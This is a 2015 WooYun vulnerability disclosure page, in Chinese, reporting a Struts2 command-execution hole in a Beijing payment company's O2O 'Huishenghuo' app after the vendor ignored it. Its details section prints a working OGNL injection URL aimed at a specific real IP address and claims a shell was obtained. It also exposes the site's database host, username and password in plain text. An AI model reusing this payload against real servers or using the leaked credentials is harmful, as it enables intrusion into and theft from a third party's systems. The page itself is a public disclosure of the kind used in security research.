当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2015-0104861
漏洞标题：
惠生活APP命令执行(O2O平台)
相关厂商：
北京省惠科技股份有限公司
漏洞作者：
小猫钓鱼
提交时间：
2015-03-30 23:04
修复时间：
2015-05-14 23:06
公开时间：
2015-05-14 23:06
漏洞类型：
命令执行
危害等级：
高
自评Rank：
12
漏洞状态：
未联系到厂商或者厂商积极忽略
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2015-03-30： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-05-14： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

惠生活APP命里执行(O2O平台)Strus2命令执行漏洞
官网：http://www.bjshkj.cn/
北京省惠科技股份有限公司成立于2012年，是全国著名支付机构——快钱的全国运营商，并作为某银行POS收单业务的独家合作单位。公司专门从事银行卡收单、新兴支付工具研发及销售、小微企业融资服务、电子商务研发及服务的综合型金融科技股份公司.

详细说明：

验证:

http://122.114.51.136/shop/login.action?redirect:${%23w%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23w.println(%23req.getRealPath("/")),%23w.flush(),%23w.close()}


714355CD-1996-40C9-B190-976C549BA140.png


轻松GetShell：

2.png


数据库似乎开在公网了，为了避免不必要的麻烦未连接：

jdbc.driverClassName=com.mysql.jdbc.Driver
jdbc.url=jdbc:mysql://122.114.51.136:3306/o2o?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull
jdbc.username=o2o_user
jdbc.password=0d3e2ad27af39835


漏洞证明：

截图:

2.png

修复方案：

未做任何破坏，不信查日志

版权声明：转载请注明来源 小猫钓鱼@乌云

>

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞Rank：15 (WooYun评价)